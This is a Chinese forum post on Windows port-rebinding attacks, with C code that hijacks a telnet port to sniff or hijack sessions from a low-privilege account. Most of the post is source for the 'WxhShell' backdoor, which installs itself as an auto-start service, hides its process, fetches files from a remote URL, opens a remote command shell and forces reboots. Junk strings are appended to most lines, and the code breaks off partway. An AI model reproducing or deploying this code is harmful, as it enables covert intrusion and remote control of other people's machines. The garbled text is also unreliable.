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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^?-wov$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w)xfP^M#  
i 3i  
  saddr.sin_family = AF_INET; {6gY6X-R  
Ql{:H5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h0;R*c  
Hm 17El68  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0{ !+N6MiR  
uxsi+vkI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L_Lhmtm}m  
L<[%tvV  
  这意味着什么?意味着可以进行如下的攻击: KU*XRZu)  
9; `E,w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <@J0 770  
HCZVvsG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G)3Q|Vc  
P|QM0GI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4~Jg\@  
+ vO; J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /DoSU>%hK  
tlpTq\;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JbXd9AMh2  
^H~g7&f9?N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ISi^BFU  
] Wx?k7T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GVld]ioycG  
agp7zw=N  
  #include EdC/]  
  #include tM3Q;8gB!  
  #include TWSx9ii!M:  
  #include    w>TTu: 7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H_d^Xk QZ  
  int main() Rh#QPYPq  
  { M992XXd  
  WORD wVersionRequested; )h`8</#m{  
  DWORD ret; MWJ}  
  WSADATA wsaData; e^yfoE<7  
  BOOL val; b&2 N7%  
  SOCKADDR_IN saddr; _Z_R\  
  SOCKADDR_IN scaddr; j kV9$W0  
  int err; I T?~`vi  
  SOCKET s; );=0cnr3  
  SOCKET sc; s |!lw  
  int caddsize; 1Ms_2  
  HANDLE mt; jAak,[~;  
  DWORD tid;   *IWWD\U  
  wVersionRequested = MAKEWORD( 2, 2 ); 1w'W)x  
  err = WSAStartup( wVersionRequested, &wsaData ); 6\vaR#  
  if ( err != 0 ) { yz^4TqJ  
  printf("error!WSAStartup failed!\n"); *~Sv\L  
  return -1; 0t2n7Y?N  
  } ^50\c$  
  saddr.sin_family = AF_INET; AS/z1M_U  
   g<g$c<sm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =+w!fy  
(Q}ByX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); usR+ZQaA  
  saddr.sin_port = htons(23); c;.jo?RR2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4n6t(/]b<  
  { ,C0D|q4/!.  
  printf("error!socket failed!\n"); 2U@:.S'K  
  return -1; vE&K!k`  
  } t_w2J=2  
  val = TRUE; dQ=L<{(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )LTX.Kg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V)A7q9Bum  
  { xv~Sk2Z+d  
  printf("error!setsockopt failed!\n"); rr]-$]Q  
  return -1; qFN`pe,  
  } 8,-U`.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K@tELYb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -S7i':  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O'h f8w  
dF$&fo%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;e0-FF+  
  { TGHyBPJb  
  ret=GetLastError(); (Rh$0^)A  
  printf("error!bind failed!\n"); 2hsRYh  
  return -1; uSUog+i  
  } C2H2*"  
  listen(s,2); bMB*9<c~  
  while(1) <RuLIu  
  { {'sp8:$a  
  caddsize = sizeof(scaddr); %\T#Ik~3  
  //接受连接请求 m\G45%m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *R3^:Y&  
  if(sc!=INVALID_SOCKET) 1|:'jK#gE  
  { /<1zzeHRSD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +h@ZnFp3  
  if(mt==NULL) oc;4;A-;`c  
  { DO6 pv  
  printf("Thread Creat Failed!\n"); 17#t7Yk  
  break; V I]~uTV  
  } QXEz  
  } Y2[ik<  
  CloseHandle(mt); c!N#nt_<  
  } 7n]ukqZ  
  closesocket(s);  lofP$  
  WSACleanup(); S/dj])g  
  return 0; z&yVU<;  
  }   Mh]4K" cs  
  DWORD WINAPI ClientThread(LPVOID lpParam) j937tn!Q  
  { .f&Z+MQ  
  SOCKET ss = (SOCKET)lpParam; Hi nJ}MF  
  SOCKET sc; 2=7:6Fw  
  unsigned char buf[4096]; )=AWgA  
  SOCKADDR_IN saddr; :+f6:3  
  long num; +]p/.- Uw  
  DWORD val;  E]W :  
  DWORD ret; ~d-Q3n?zR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %xA-j]%?ep  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %k @4}M>  
  saddr.sin_family = AF_INET; $}B&u)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7()5\ae@q'  
  saddr.sin_port = htons(23); C5Mpm)-%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #j'7\SV  
  { l ;S_J^S  
  printf("error!socket failed!\n"); ;gLOd5*0  
  return -1; YmD~&J  
  } e[6Me[b  
  val = 100; s9SUj^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !X`cNd)0Xo  
  { ki|OowP  
  ret = GetLastError(); 39A|6>-?  
  return -1; lib}dk  
  } ET(/h/r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \+"Jg/)ij  
  { 5xQ5)B4k  
  ret = GetLastError(); WO$8j2!~#  
  return -1; F`>qg2wO  
  } x"A\ Z-xxz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G "ixw  
  { #'. '|z  
  printf("error!socket connect failed!\n"); ZB]234`0  
  closesocket(sc); NR"C@3kD]o  
  closesocket(ss); xVTl  
  return -1; :XOjS[wBm  
  } %4})_h?j  
  while(1) KQ0f2?  
  { udPLWrPF\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pm2]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f8-~&N/_R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,6ae='=d  
  num = recv(ss,buf,4096,0); Fb ~h{  
  if(num>0) }\1V%c  
  send(sc,buf,num,0); Nz:p(X!  
  else if(num==0) P!gY&>EU  
  break; |@VhR(^O$  
  num = recv(sc,buf,4096,0); $."F z x  
  if(num>0) /#j)GlNp:  
  send(ss,buf,num,0); `5n^DP*X  
  else if(num==0) SeuDJxqopD  
  break; !&5|:96o  
  } 58R.`5B  
  closesocket(ss); m~4ik1 wq  
  closesocket(sc); 8( Q  
  return 0 ; 5 BeU/  
  } {\X$vaF  
TN<"X :x9  
0^)~p{Zh  
========================================================== Jl|^^?  
8 mt#S  
下边附上一个代码,,WXhSHELL %S^:5#9  
AC!yc(^<  
========================================================== nI] zRduC  
op3a*KG  
#include "stdafx.h" k> ~D  
$01~G?:]`  
#include <stdio.h> 9*XT|B  
#include <string.h> AmJdZs|/  
#include <windows.h> J+wnrGoK  
#include <winsock2.h> ` l %,4qR  
#include <winsvc.h> {REGoe=W%  
#include <urlmon.h> >h.HW  
rr>6;  
#pragma comment (lib, "Ws2_32.lib") GC_c.|'6[  
#pragma comment (lib, "urlmon.lib") _Ud!tK*H  
Df$~=A}  
#define MAX_USER   100 // 最大客户端连接数 s[VYd:}se  
#define BUF_SOCK   200 // sock buffer c4zGQoeH:  
#define KEY_BUFF   255 // 输入 buffer olKM0K  
)u0 /s'  
#define REBOOT     0   // 重启 4UND;I&  
#define SHUTDOWN   1   // 关机 [;UI8St w  
OzR<jCOS  
#define DEF_PORT   5000 // 监听端口 2`A[<S  
RL H!f1cta  
#define REG_LEN     16   // 注册表键长度 W$W w/mcl+  
#define SVC_LEN     80   // NT服务名长度 Fl*<N  
nWh f  
// 从dll定义API hZWkw{c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \7IT[<Se  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (iIzoEpb8W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x:h)\%Dg<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c2L\m*^o  
!#W3Q  
// wxhshell配置信息 dp4vybJ  
struct WSCFG { oE2VJKs<B  
  int ws_port;         // 监听端口 h8-uI.RZ  
  char ws_passstr[REG_LEN]; // 口令 }a#=c*+_  
  int ws_autoins;       // 安装标记, 1=yes 0=no Sggl*V/q  
  char ws_regname[REG_LEN]; // 注册表键名  ?$y/b}8  
  char ws_svcname[REG_LEN]; // 服务名 r]]:/pw?t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BK wo2=m~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;=1[D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4UK>Vzn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :Ys ;)W+R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X":2o|R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d= ?lPEzSA  
Z?WVSJUVf  
}; |?hsMN  
=#A/d `2 b  
// default Wxhshell configuration @Kw&XKe`  
struct WSCFG wscfg={DEF_PORT, N8=-=]0G  
    "xuhuanlingzhe", aOQT-C[ O  
    1, keStK8  
    "Wxhshell", f1?%p)C  
    "Wxhshell", wA6E7vi'  
            "WxhShell Service", -B(p8YH  
    "Wrsky Windows CmdShell Service", 1QnaZhu'  
    "Please Input Your Password: ", ):A.A,skf  
  1, _;:_ !`  
  "http://www.wrsky.com/wxhshell.exe", [;o>q;75Jz  
  "Wxhshell.exe" sbFIKq]  
    }; G:` So  
KC%&or  
// 消息定义模块 "z= ~7g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t:xTmK&vt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8 qZbsZi4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O@w_"TJP/z  
char *msg_ws_ext="\n\rExit."; PWquu`  
char *msg_ws_end="\n\rQuit."; u9u'5xAO  
char *msg_ws_boot="\n\rReboot..."; ] mK{E~Zll  
char *msg_ws_poff="\n\rShutdown..."; \ Co Z+  
char *msg_ws_down="\n\rSave to "; i6y=3k  
 kKY,&Fn-  
char *msg_ws_err="\n\rErr!"; a^ys7UV  
char *msg_ws_ok="\n\rOK!"; l.Z+.<@  
nZG zez  
char ExeFile[MAX_PATH]; k_?~@G[I  
int nUser = 0; `tcX[(`  
HANDLE handles[MAX_USER]; ]24]id  
int OsIsNt; B\% Gp}  
B~J63Os/  
SERVICE_STATUS       serviceStatus; @;KvUR/+FE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Dz/MIx  
5PP^w~n  
// 函数声明 8*|*@  
int Install(void); Dtyw]|L\H  
int Uninstall(void); 8i<]$  
int DownloadFile(char *sURL, SOCKET wsh); q'IMt7}  
int Boot(int flag); ?FEh9l)d\  
void HideProc(void); oq b(w+<  
int GetOsVer(void); |KO[[4b ?+  
int Wxhshell(SOCKET wsl); oa[O~z{~  
void TalkWithClient(void *cs); K@:Ab'(P^|  
int CmdShell(SOCKET sock); " BLJh)i  
int StartFromService(void); NbCIL8f]  
int StartWxhshell(LPSTR lpCmdLine); KTAQ6k  
2 zG;91^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  =WEDQ\ c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `.]oH1\  
2L51 H(  
// 数据结构和表定义 I1s$\NZ~]  
SERVICE_TABLE_ENTRY DispatchTable[] = lhf5[Rp  
{ l)'*jZ  
{wscfg.ws_svcname, NTServiceMain}, sE!g!ht  
{NULL, NULL} u yE#EnsH  
}; q-,`\ TS  
S@y?E}  
// 自我安装 {A5$8)nl|  
int Install(void) 1N5lI97j  
{ -.L )\  
  char svExeFile[MAX_PATH]; FIu^Qd  
  HKEY key; a4Z e!l(  
  strcpy(svExeFile,ExeFile); G]mD_J1$  
KuL+~  
// 如果是win9x系统,修改注册表设为自启动 ikb77 ?.  
if(!OsIsNt) { D G&aFmC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a=vH:D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WGyPyG#Fl  
  RegCloseKey(key); Dd-a*6|x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uv~|Xj4.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mHJGpJ=a-  
  RegCloseKey(key); $1Wb`$  
  return 0; 5fz K*[B  
    } AsvH@\\  
  } AVfF<E/  
} F IB)cpo  
else { $@L2zl1  
WMWUP ZsGS  
// 如果是NT以上系统,安装为系统服务 fvV"H{V,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >;VZB/ d  
if (schSCManager!=0) #q-fRZ:P  
{ $D D esy3  
  SC_HANDLE schService = CreateService "5?1S-Vl  
  ( 02,.UqCz  
  schSCManager, ;E>#qYC6  
  wscfg.ws_svcname, LB9W.cA   
  wscfg.ws_svcdisp, T21?~jS  
  SERVICE_ALL_ACCESS, `0MQL@B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !| - U,  
  SERVICE_AUTO_START, zJ:%iL@  
  SERVICE_ERROR_NORMAL, xuVc1jJH  
  svExeFile, 17 0r5  
  NULL, 7#7|+%W0  
  NULL, rp2g./2  
  NULL, !\O!Du  
  NULL, FJxb!- 0&  
  NULL 7KJ0>0~Et  
  ); ={;+0Wjb8  
  if (schService!=0) m}S}fH(  
  { YD{N)v  
  CloseServiceHandle(schService); ?{5}3a bB`  
  CloseServiceHandle(schSCManager); X|QokAR{$>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .])X.7@x  
  strcat(svExeFile,wscfg.ws_svcname); :VLYF$|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q/*|ADoq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1+Ik\  
  RegCloseKey(key); <s$T7Zk  
  return 0; 0;`+e22  
    } Sq:J'%/z  
  } 0"ooHP$1  
  CloseServiceHandle(schSCManager); |2rOV&@l9  
} 'C#[iRG4  
} wjgFe]  
\'iy(8i  
return 1; ]!a?Lr  
} L =M'QJl9  
U;"J8  
// 自我卸载  C ?'s  
int Uninstall(void) s<aG  
{ ]9JH.fF  
  HKEY key; E\cX  
6o5,d]  
if(!OsIsNt) { dO,; k +  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gr{*wYL  
  RegDeleteValue(key,wscfg.ws_regname); <HIM k  
  RegCloseKey(key); ]<r.{EJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  Q0,eE:  
  RegDeleteValue(key,wscfg.ws_regname); ^!n|j]aw  
  RegCloseKey(key); _={mKKoHs  
  return 0; 3TS:H1n  
  } &2O~BIRE  
} >m{>0k(^`  
} [nrD4  
else { QXl~a%lB  
U\-.u3/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z^WY5~?  
if (schSCManager!=0) >&F:/   
{ ?C   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?I"?J/zm  
  if (schService!=0) u]ps-R_$G  
  { +4rd N\.  
  if(DeleteService(schService)!=0) { m| 7v76(  
  CloseServiceHandle(schService); oJ/=&c  
  CloseServiceHandle(schSCManager); sBqOcy  
  return 0; 02T'B&&~  
  } ,q{~lf -  
  CloseServiceHandle(schService); 9>`dB  
  } h'_$I4e)  
  CloseServiceHandle(schSCManager); !T8sWMY  
} JeA_mtSQ|  
} K]|hkp&  
mQ:YHtHE.F  
return 1; a$bE2'cb  
} ,]das  
&n0Ag]$P  
// 从指定url下载文件 =Mxu,A  
int DownloadFile(char *sURL, SOCKET wsh) /g!Xe]Ss  
{ $&Z#2 X.  
  HRESULT hr; NVB#=!S  
char seps[]= "/"; h]&~yuI>  
char *token; @,]W  
char *file; I{.t-3hp  
char myURL[MAX_PATH]; HW#@e kh  
char myFILE[MAX_PATH]; L 7LUy$M-<  
:C,}DyZy  
strcpy(myURL,sURL); -pQ?ybQ  
  token=strtok(myURL,seps); -C!m#"PDW  
  while(token!=NULL) iU3PlF[B/o  
  { )a `kL,  
    file=token; g@Y]$ey%A  
  token=strtok(NULL,seps); _g,_G  
  } o& $lik  
qG g29  
GetCurrentDirectory(MAX_PATH,myFILE); sr(nd35  
strcat(myFILE, "\\"); [UB*39D7  
strcat(myFILE, file); 0W+RVp=TL1  
  send(wsh,myFILE,strlen(myFILE),0); [8oX[oP  
send(wsh,"...",3,0); wL6G&6]</W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zvdIwV&oT  
  if(hr==S_OK) S1C#5=  
return 0; "I{Lcn~!@  
else ltNY8xrdGN  
return 1; nY\X!K65  
yF+mJ >kj  
} ZW@cw}  
Ol|fdQ  
// 系统电源模块 CLJn+Y2  
int Boot(int flag) %afF%y  
{ <54KWC86)J  
  HANDLE hToken; ;z+}|>!  
  TOKEN_PRIVILEGES tkp; 78?cCj{e  
j8rxhToC  
  if(OsIsNt) { h%v qt~0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mC?}:W M@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1|:;~9n<t  
    tkp.PrivilegeCount = 1; uX&h~qE/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lZ <D,&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?Jgqb3+!o  
if(flag==REBOOT) { C 20VSwd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8E9k7  
  return 0; CoWT  
} &SPr#OkW  
else { ilZ5a&X;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !0):g/2h  
  return 0; &+ H\ST(/  
} I'N!j>5oX  
  } BuxU+  
  else { 'AmA3x)9u  
if(flag==REBOOT) { y$6EEp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y/pK  
  return 0; 1YU?+K  
} ~~I]SI k{  
else { AgUjC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =GeGlI6  
  return 0; z=8l@&hYLq  
} n,_9Eh#WD  
} yD8Qy+6L  
\{ C ~B;=  
return 1; q^<;B Y  
} :R$v7{1  
XIl#0-E0X  
// win9x进程隐藏模块 {>TAnb?n  
void HideProc(void) x`'s  
{ v3kT~uv  
47A[-&y*X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j)juvat  
  if ( hKernel != NULL ) 57;( P  
  { ]5MT-qU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z(>:LX"xz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k RSY;V  
    FreeLibrary(hKernel); U<'z, Px6  
  } IA}.{zY~|  
Kf)$/W4  
return; 3Gw*K-.  
} v`:!$U* H=  
;$qc@)Uwp  
// 获取操作系统版本 2(Yt`3Go(  
int GetOsVer(void) !MmbwB'  
{ A-$ C6q   
  OSVERSIONINFO winfo; pF}E`U=Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N~S#( .}[  
  GetVersionEx(&winfo); 5p3: 8G7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q>6,g>I  
  return 1; dKw[#(m5v  
  else %uo#<Ny/ I  
  return 0; +j$nbU0U  
} k9VWyq__  
]J/;Xp  
// 客户端句柄模块 6k+tO%{~  
int Wxhshell(SOCKET wsl) !L/.[:X  
{ (+BrC`  
  SOCKET wsh; f;&XTF5D^  
  struct sockaddr_in client; vH E:TQo4  
  DWORD myID; uD ;T   
)_?HBTG  
  while(nUser<MAX_USER) f&&Ao  
{ \fYPz }wt  
  int nSize=sizeof(client); X [?E{[@Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zNEN[  
  if(wsh==INVALID_SOCKET) return 1; t!>0^['g4  
8Kn}o@Yd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ICTjUQP  
if(handles[nUser]==0) `1FNs?j  
  closesocket(wsh); {%\;'&@z\  
else Oj2=&uz  
  nUser++; Q H>g-@  
  } ";n%^I}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l[nf"'  
5\ }QOL  
  return 0; (F:|tiV+  
} !wro7ilMB  
jd`]]FAww  
// 关闭 socket NG4@L1f%  
void CloseIt(SOCKET wsh) SF[Z]|0gs  
{ 9G6auk.m.O  
closesocket(wsh); R F;u1vEQ8  
nUser--; Y&i&H=U  
ExitThread(0); ~4ijiw$  
} >R\@W(-g`  
Nvd(Tad  
// 客户端请求句柄 .Lm`v0' w  
void TalkWithClient(void *cs) c-Qa0 Q  
{ }j\8|UG  
V9`jq$  
  SOCKET wsh=(SOCKET)cs; &Mz.i,Gh  
  char pwd[SVC_LEN]; /[q_f  
  char cmd[KEY_BUFF];  BfW@f  
char chr[1]; ksYPF&l  
int i,j; A=*6|1w;  
$! g~pV  
  while (nUser < MAX_USER) { nyG5sWMpe  
t*c_70|@k  
if(wscfg.ws_passstr) { HLE%f;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gM6o~ E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (W9 K: ]}  
  //ZeroMemory(pwd,KEY_BUFF); grJ(z)c  
      i=0; w&&)v~Y_  
  while(i<SVC_LEN) { X: Be'  
7~H$p X  
  // 设置超时 ;$4: &T  
  fd_set FdRead; QCfR2Nn}  
  struct timeval TimeOut; ?.nD!S@  
  FD_ZERO(&FdRead); $^#q0Yx  
  FD_SET(wsh,&FdRead); uU+?:C  
  TimeOut.tv_sec=8; !B#tJD  
  TimeOut.tv_usec=0; J^pq<   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F}5skD=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %V-Hy;V  
C{V,=Fo^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;9uDV -"  
  pwd=chr[0]; l!}7GWj  
  if(chr[0]==0xd || chr[0]==0xa) { (IAR-957pN  
  pwd=0; YD5mJ[1t"2  
  break; os+ ]ct  
  } }jNVR#D:  
  i++; .WGrzhsV  
    } ]pVuRj'pP  
j7VaaA  
  // 如果是非法用户,关闭 socket (T.g""N~`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^3Z~RK\}  
} S Fqq(K2u  
9['>$ON  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1Msc:7:L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3 gW+|3E  
)fc+B_  
while(1) { ;^8X(R  
,B,0o*qc{K  
  ZeroMemory(cmd,KEY_BUFF); Ja%isIdh  
$rQi$w/  
      // 自动支持客户端 telnet标准   B)qcu'>iy  
  j=0; ;]%Syrzp  
  while(j<KEY_BUFF) { 4uv*F:eo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 74KR.ABd  
  cmd[j]=chr[0]; Z%VgAV>>  
  if(chr[0]==0xa || chr[0]==0xd) { {XLRrU!*  
  cmd[j]=0; : )k|Onz  
  break; 3+I"Dm,  
  } e.;B?0QrV  
  j++; l_T5KV  
    } k| >zauK  
Dwah_ p8  
  // 下载文件 +?0r%R%\  
  if(strstr(cmd,"http://")) { 3u= >Y^wu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `Fb%vYf  
  if(DownloadFile(cmd,wsh)) 5>h# hcL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n<>]7-  
  else W)u9VbPk[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ->@iw!5xu  
  } eXtlqU$  
  else { H$)otDOE  
#2qv"ntW  
    switch(cmd[0]) { 8fQXif\z  
  (gUxS.zU  
  // 帮助 oX6()FR  
  case '?': { i0[mU,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ezr'"1Ba}  
    break; >NBwtF>  
  } 2| ERif;)  
  // 安装 -p20UP 1I  
  case 'i': { RG`eNRTQ%  
    if(Install()) V}q=!zz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;QQ/bM&I  
    else sW@_q8lG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xGK"`\V  
    break; C*Dco{ EQ>  
    } 8s6^!e&  
  // 卸载 oBWa\N  
  case 'r': { hKN/&P^  
    if(Uninstall()) ajD/)9S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !l1jQq_mK  
    else - !s=`9o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y9nyKL  
    break; 3x E^EXV  
    } NMhI0Ix$w  
  // 显示 wxhshell 所在路径 zR }vw{  
  case 'p': { @}A3ie'w  
    char svExeFile[MAX_PATH]; lFc^y  
    strcpy(svExeFile,"\n\r"); @)3orH  
      strcat(svExeFile,ExeFile); ~@'DYZb- H  
        send(wsh,svExeFile,strlen(svExeFile),0); jN sM&s,  
    break; w#RfD  
    } gPy}.g{tH$  
  // 重启 !F# ^Peb  
  case 'b': { e `IL7$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &=v5M9GR]  
    if(Boot(REBOOT)) ;C+ _KS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q%_MO`<]$  
    else { ROr|  <  
    closesocket(wsh); 6Vy4]jdT5  
    ExitThread(0); wZ~eE'zx+  
    } nbSu|sX~r5  
    break; HmRmZ3~  
    } ZgL]ex  
  // 关机 w(R+p/RF  
  case 'd': { ag"Nf-o/Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $WZHkV  
    if(Boot(SHUTDOWN)) Z`{GjV3%wH  
